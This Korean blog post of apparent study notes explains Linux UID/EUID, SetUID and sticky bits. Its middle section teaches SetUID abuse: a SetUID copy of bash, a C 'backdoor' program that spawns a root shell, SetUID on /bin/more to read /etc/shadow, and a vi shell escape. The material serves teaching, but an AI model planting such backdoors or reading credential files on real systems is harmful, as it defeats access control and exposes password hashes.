리눅스 계정과 권한(2) 0




리눅스/유닉스의 권한 상승 

 

 ○ 시스템에서 해킹을 하는 주요 목적은 권한 상승.  SetUID를 이용한 권한상승

 ○ 계정 예)

    - 사용자 번호(UID)를 500번, 그룹 번호(GID)를 500번으로 부여받아 로그인 UID, GID가

       jh계정이 누구인가를 식별

      jh : x : 500 : 500 : ydi : /home/jh : /bin/bash

○ 계정이 누구인가를 식별하는 UID, GID를 RUID(Real UID), RGID(Real GID)라고도 함

○ 어떤 권한을 가지고 있는가에 대한 UID, GID가 별도로 존재 이를 EUID, EGID 라고 함

○ 최초로 로그인 할 때는 RUID와 EUID, RGID와 EGID가 각각 같은 값을 가짐

○ SetUID 비트를 가진 프로그램을 실행했을 때만 프로세스 안에서 잠시 일치하지 않는 상태가 발생

○ 패스워드를 설정하면, 패스워드에 대한 암호화나 해시된 값이 /etc/shadow에 저장

○ /etc/shadow 파일의 접근 권한 확인

ls -al /etc/shadow

 

   - passwd 명령을 이용해 패스워드를 설정하여 저장한 shadow 파일은 권한이 000.

     관리자인 root도 읽는 권한이 없다. 하지만 소유자가 root이므로 이 파일에 대한

     권한 조정과 접근은 가능

  - passwd 명령을 실행할 때는 우리 모두 관리자와 같은 권한 소유. 즉 RUID가 500번이라도

     EUID는 0이 됨

   - 하지만 passwd 명령을 끝내는 순간 다시 EUID도 500으로 바뀜 이것이 SetUID의 역할

 

/usr/bin/passwd 파일 권한 확인

ls -al /usr/bin/passwd

   - rws r-x r-x로 권한 부여 확인, 권한 중 s가 SetUID를 가리킴.

   - SetUID, SetGID는 4000, 2000로 표현

   - 4755 권한의 파일이 있다면 rwsr-xr-x로 표현

   - 소유자 권한 x 자리의 s(SetGID는 그룹의 x 자리를 s로 바꾸어 사용)

   - /usr/bin/passwd의 권한은 4755(rws r-x r-x)

 

○ passwd 파일에는 SetUID 권한이 주어지며, 파일 소유자가 root므로 파일이 실행되는 프로세스는

    실행 시간 동안 파일 소유자인 root 권한으로 실행















find 명령은 파일 소유자가 관리자면서, SetUID 비트를 가진 파일을 검색

find / -user root -perm +4000

 

SetUID를 활용한 해킹 기법 익히기

 

1. SetUID 비트를 가진 셸의 생성

  - 원본의 bash 셸을 /test 디렉토리에 복사하여 4755 권한 부여. bash 셸 프로그램은 프로세스가

     살아있는 동안은 파일의 소유자인 root 권한으로 실행

    cp /bin/bash test/bash

    chmod 4755 bash

 

2.일반 사용자 계정으로 SetUID 비트가 주어진 셸 실행

   id

   ./bash

   id

SetUID 비트가 설정된 셸을 이용한 관리자 권한 획득 시도

 

3. SetUID 비트를 이용한 bash 셸 획득

   - 보안 설정은 특정한 패턴에만 해당. 약간의 트릭만으로 피할 수 있음.

   소스 작성해보기

 

vi backdoor

  #include <stdio.h>

  main()

 {

    setuid(0);

    setgid(0);

    system("/bin/bash");

 }

 

bacdoor.c를 root 계정으로 컴파일하여 4755 권한 부여

gcc -o backdoor backdoor.c

chmod 4755 backdoor

 

4.SetUID 비트가 할당된 more 명령을 이용한 권한 상승

     - /etc/shadow는 관리자 소유의 파일, 일반 계정의 접근이 금지.

     - SetUID 비트가 주어진 more 명령을 이용하면 /etc/shadow 파일을 읽기 가능

    chmod 4755 /bin/more

    id

   more /etc/shadow

 

○ SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승

    - 작성한 vi backdoor.c를 컴파일, SetUID비트 부여

   vibackdoor

   #include <stdio.h>

   main()

   {

       setuid(0);

       setgid(0);

       system("/bin/vi");

   }

 

gcc -o vibackdoor vibackdoor.c

chmod 4755 vibackdoor

다 하고

로그인 시 vi창이 뜨면은

 ESC를 누른 뒤, 콜론(:)을 누르면 에디터의 아래쪽에 키를 입력 가능

!/bin/bash 라고 문자를 붙인 뒤 실행하면 vi 화면이 사라지고 셸 화면으로 전환됨.

셸의 프롬프트도 # 모양으로 전환.

 

[참고] Sticky bit

 

 ○ Sticky Bit 의 표현

      - SetUID, SetGID, 그리고 스티키 비트도 숫자로 표현 => 값은 4000, 2000, 1000

      - 스티키 비트는 Others에 대한 실행 비트인 'x' 대신에 't'문자를 사용

      - 7777의 권한은 'rwsrwsrwt'

      - 스티키 비트는 주로 디렉토리에만 주어짐

      - 스티키 비트가 부여된 디렉토리에 있는 파일은 접근 권한과 상관없이 파일의 소유자와 관리자만

         이 파일을 삭제할수 있음

      - 스티키 비트가 주어진 대표적인 디렉토리로 : /tmp 디렉토리


덧글

댓글 입력 영역